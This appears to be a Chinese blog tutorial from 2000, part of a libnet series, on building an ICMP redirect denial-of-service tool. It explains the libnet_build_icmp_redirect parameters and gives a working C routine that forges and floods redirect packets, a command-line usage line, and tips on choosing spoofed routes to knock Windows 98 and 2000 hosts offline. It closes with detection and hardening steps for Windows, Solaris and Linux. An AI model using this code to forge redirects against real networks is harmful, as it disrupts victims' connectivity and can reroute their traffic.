日期:2000-07-31 15:01 本篇写libnet程序完成ICMP重定向测试,还是先来看看相关函数: int libnet_build_icmp_redirect ( u_char type, u_char code, u_long gateway, u_short orig_len, u_char orig_tos, u_short orig_id, u_short orig_frag, u_char orig_ttl, u_char orig_prot, u_long orig_src, u_long orig_dst, const u_char * orig_payload, int orig_payload_s, u_char * buf ); 在/usr/include/libnet/libnet-headers.h中有如下宏定义: #define ICMP_REDIRECT 5 第一个形参type只能设置该值。第二个形参理论上可以设置四种值,对于DoS攻击来 说,实际只能设置成ICMP_UNREACH_HOST(1),遗憾的是宏的名字牛头不对马嘴,这与 目标主机是否可达毫无干系,实际意思是只做特定主机路由重定向,网络路由重定向 已被废弃。gateway指定将来要使用的特定主机路由IP,比如<> 中提到的192.168.8.90,它将出现在192.168.10.60的路由表中,很奇怪这里使用 little-endian序,而非常用的big-endian序,不排除实现中编程疏漏的可能;对于 i386/Linux来说,就是主机字节序,编程时注意转换。 orig_len设置成0,事实上据我实验观察,该值根本未被 libnet_build_icmp_redirect()使用,所以后来我设置该形参为0;产生的位于ICMP 数据区的IP头固定20字节,头部总长度域固定为20字节,意思是没有任何负载,这个 函数原型有误导嫌疑。orig_tos设置成0,orig_id用随机数设置,orig_frag设置成0, orig_ttl设置成255,orig_prot设置成IPPROTO_ICMP(1),orig_src用big-endian序 设置成"攻击目标"IP,比如<>中提到的192.168.10.60, orig_dst用big-endian序设置成欲干扰的"服务目标"IP,比如 <>中提到的202.99.11.161,将来产生的特定主机路由就是针对 该IP寻路而言的。orig_payload设置成NULL,orig_payload_s设置成0。形参buf需要 指向一个已分配好的数据区,ICMP头从该指针开始。 其实从orig_len开始的参数如何设置具有很大灵活性,我是从编程简便角度考虑采用 如上设置,你完全可以不用这些数据,但你必须明确理解你所指定参数的意义,最好 用NetXray抓取你程序所发送出来的报文,检查一下decode部分。 涉及到两个校验和的计算。libnet_do_checksum()继续用于计算ICMP报文校验和,这 个是必须的。另外就是计算位于ICMP数据区的IP头部校验和,如果不计算,将来对应 校验和域为"无校验和",尽管不为错,同样有效,但感觉不爽,反正我是计算了,同 样是调用: Libnet_do_checksum( packet + LIBNET_IP_H + LIBNET_ICMP_REDIRECT_H, IPPROTO_IP, LIBNET_IP_H ); 该函数会自行设置位于ICMP数据区的IP校验和域。 从上篇的分析中看出,如果要在广域网上发起ICMP重定向攻击,至少需要知道牺牲者 IP、牺牲者到被干扰服务目标IP的当前路由IP(遵循选路规则),子网掩码(便于伪造 新的路由IP)。一般来说,牺牲者IP不用多说什么,可后面这个当前路由IP比较难以 获得,子网掩码一般可以考虑C类网甚至更小。如何获得有效数据,仁者见仁智者见 智。考虑配合traceroute命令。 命令行上指定伪造的源IP(不可随机化,必须是当前路由)、攻击目标IP、服务目标IP 起始值(可随机化)、服务目标IP个数、伪造的路由IP(不可随机化,必须是直接路由)、 ICMP重定向报文个数。此次没有端口概念介入,不再允许指定目标IP范围,只能指定 单个目标IP,从实际使用角度考虑的结果。 如何察觉、防范ICMP重定向攻击呢?查看路由表最直接。netstat -s还可以察觉那些 未能奏效的ICMP重定向攻击,因为重定向统计量暴涨,该值一般都是很小很小的。协 议分析软件、IDS等等都很容易发觉这种攻击企图。利用防火墙限制ICMP重定向报文。 修改本机系统,根据具体情况屏蔽ICMP重定向报文。 对于Pwin98,袁哥提供了一个很简单的修改VIP.386的办法,用ultraedit搜索 83 F9 11 77 08,修改成83 F9 00 75 08,意思就是如果接收到的ICMP包不是 icmp echo reply就跳转到错误处理。今天拿自己测试的时候,忘记早就修改过 VIP.386,还以为是程序发出来的包有问题而未能奏效。 -------------------------------------------------------------------------- void irdSend ( u_long srcIp, u_long dstIp, u_long svrIp, u_long routeIp, u_long irdNumber ) { u_long i; /* 构造IP头 */ libnet_build_ip( LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H + SCZIRDDATALEN, /* IP数据区长度 */ IPTOS_LOWDELAY, /* IP tos */ ( u_short )random(), /* IP ID */ 0, /* frag stuff */ 255, /* TTL */ IPPROTO_ICMP, /* 上层协议 */ srcIp, /* big-endian序 */ dstIp, /* 目标IP */ NULL, /* 无选项 */ 0, /* 选项长度零 */ packet ); /* 指向IP头 */ /* 构造ICMP重定向报文头 */ libnet_build_icmp_redirect( ICMP_REDIRECT, /* type */ ICMP_UNREACH_HOST, /* code */ // 这里采用little-endian序,很奇怪,不会是实现疏漏吧 // 对于i386/Linux,就是主机字节序 ntohl( routeIp ), /* 伪造的路由IP */ 0, /* 该值任意 */ 0, /* orig_tos */ ( u_short )random(), /* IP ID */ 0, /* orig_frag */ 255, /* orig_ttl */ IPPROTO_ICMP, /* 上层协议类型 */ dstIp, /* 注意理解这里 */ svrIp, /* 被干扰目标 */ NULL, /* orig_payload */ 0, /* 无选项 */ packet + LIBNET_IP_H ); /* 指向ICMP报头 */ // 计算位于ICMP数据区的IP头部校验和,如果不计算,将来对应校验和域为"无校验和" // 尽管不为错,同样有效,但感觉不爽,反正我是计算了 Libnet_do_checksum( packet + LIBNET_IP_H + LIBNET_ICMP_REDIRECT_H, IPPROTO_IP, LIBNET_IP_H ); // 这里必须意识到,计算ICMP重定向报文校验和应该发生在整个ICMP报文构造完毕之后 // 我们目的特殊,部分数据提前构造完毕了 /* 计算ICMP重定向报文校验和,IP校验和由内核亲自计算 */ Libnet_do_checksum( packet, IPPROTO_ICMP, LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H + SCZIRDDATALEN ); for ( i = 0; i < irdNumber; i++ ) { /* 发送ICMP重定向报文 */ Libnet_write_ip( rawSocket, packet, packet_size ); } /* end of for */ return; } /* end of irdSend */ -------------------------------------------------------------------------- Usage: ./ir [--si srcIp] [--di dstIp] [--svr svrIp] [--svrNum svrNumber] [--routeIp routeIp] [--num irdNumber] 选择routeIp的时候有学问。既然是DoS,尽量不要选择那些活动IP,如果只能选择活 动IP也要避免该IP具有IP Forward能力,否则有可能引发一个合法的ICMP重定向包进 行修正。 如果牺牲者是98,就用其自身IP作为routeIp,删不掉,但影响选路、占用内存、消 耗路由表搜索时间。目前尚未发现冻僵现象,可以实际打掉其访问Internet的能力, 重启动后恢复正常。 对于2K,只能将routeIp设置成一个非活动同子网IP,无法设置成自身,目前尚未发 现冻僵现象,可以实际打掉其访问Internet的能力, route -f add 0.0.0.0 mask 0.0.0.0 192.168.0.1 后恢复正常,但是在刷新过程中CPU占用率高达100%。 SPARC/Solaris 2.6/2.7和i386/Linux,根本就没有受ICMP重定向包的任何影响。这 样说也不正确,做如下实验: route change default 192.168.8.90 ping -v 203.207.119.8 netstat -nr ------------------------------------------------------------ 203.207.119.8 192.168.0.1 UGHD 0 0 <-- 有效 default 192.168.8.90 UG 0 98 ------------------------------------------------------------ route delete host 203.207.119.8 192.168.0.1 ndd /dev/ip \? ndd -get /dev/ip ip_ignore_redirect ndd -set /dev/ip ip_ignore_redirect 1 ping -v 203.207.119.8 netstat -nr 对比前后效果。Solaris应该做了更严格的判断,在8.90上用NetXray捕获98路由功能 自动发送的有效ICMP重定向报文,然后立即在10.7上删除刚刚增加上来的特定主机路 由,用NetXray重新发送重定向报文已经无效。这个判断规则是什么,尚不清楚。 对于Linux做如下实验: route del -net 0.0.0.0 gw 192.168.0.1 route add -net 0.0.0.0 gw 192.168.8.90 ping -v 203.207.119.8 netstat -nr Linux似乎比Solaris更酷,干脆就不遵守RFC,对ICMP重定向报文一概不理 |
libnet使用举例(6)
最新推荐文章于 2023-03-02 16:08:01 发布